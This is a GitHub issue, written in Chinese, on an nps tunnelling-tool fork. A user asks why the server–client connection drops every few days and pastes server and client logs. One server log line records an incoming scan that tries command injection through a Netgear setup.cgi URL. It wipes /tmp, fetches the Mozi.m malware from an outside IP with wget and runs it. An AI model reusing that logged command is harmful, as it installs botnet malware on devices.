yisier / nps

在 0.26.10 版本的基础上修改而来的
https://ehang.io/nps/documents
GNU General Public License v3.0
1.84k stars 223 forks source link

大神保佑!服务端win2019系统 和客户端win10系统 、搭建好以后,日志过几天就会出现这样的现象。请问如何解决 #95

Open xiaohu911 opened 1 year ago

xiaohu911 commented 1 year ago

错误发生在13点19分

服务器的错误: 2023/06/13 11:45:54.119 [N] [http.go:150] the url http speed.cloudflare.com /cdn-cgi/trace can't be parsed! 2023/06/13 11:49:24.525 [N] [http.go:150] the url http 47.242.68.108:80 / can't be parsed! 2023/06/13 12:03:50.602 [N] [http.go:150] the url http 47.242.68.108 / can't be parsed! 2023/06/13 12:45:23.623 [N] [http.go:150] the url http /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://117.221.188.134:60253/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 can't be parsed! 2023/06/13 12:49:41.083 [N] [http.go:150] the url http 47.242.68.108 / can't be parsed! 2023/06/13 13:19:37.342 [I] [bridge.go:383] the client 2 closed 2023/06/13 13:19:42.288 [I] [bridge.go:251] clientId 2 connection succeeded, address:171.221.97.239:17024 2023/06/13 13:19:47.341 [W] [bridge.go:207] read tcp 172.17.12.231:8024->171.221.97.239:17792: i/o timeout
2023/06/13 13:20:01.419 [W] [bridge.go:207] read tcp 172.17.12.231:8024->171.221.97.239:17665: i/o timeout
2023/06/13 13:20:42.875 [W] [base.go:108] get connection from client id 2 error the client 2 is not connect 2023/06/13 13:20:45.091 [I] [bridge.go:251] clientId 2 connection succeeded, address:171.221.97.239:17088 2023/06/13 13:20:50.144 [W] [bridge.go:207] read tcp 172.17.12.231:8024->171.221.97.239:18432: i/o timeout
2023/06/13 13:20:57.337 [I] [bridge.go:383] the client 2 closed
2023/06/13 13:22:17.812 [I] [bridge.go:251] clientId 2 connection succeeded, address:171.221.97.239:20352 2023/06/13 13:35:42.136 [N] [http.go:150] the url http speed.cloudflare.com /cdn-cgi/trace can't be parsed!

客户端的错误: 2023/06/13 13:19:38.439 [W] [client.go:165] accpet error,the conn has closed 2023/06/13 13:19:38.439 [E] [client.go:92] Accept server data error read tcp 192.168.50.196:56322->47.242.68.108:8024: use of closed network connection, end this service 2023/06/13 13:19:38.439 [I] [npc.go:236] Client closed! It will be reconnected in five seconds 2023/06/13 13:19:43.559 [I] [client.go:72] Successful connection with server 47.242.68.108:8024 023/06/13 13:22:11.584 [E] [client.go:92] Accept server data error read tcp 192.168.50.196:64463->47.242.68.108:8024: wsarecv: An existing connection was forcibly closed by the remote host., end this service 2023/06/13 13:22:11.584 [I] [npc.go:236] Client closed! It will be reconnected in five seconds 2023/06/13 13:22:11.584 [W] [client.go:165] accpet error,the conn has closed 2023/06/13 13:22:16.703 [I] [client.go:72] Successful connection with server 47.242.68.108:8024

xiaohu911 commented 1 year ago

我看了服务端的日志,分析了下,我的是内网宽带,是不是因为宽带换了IP的机制引起的。2-5天就会闪断一下。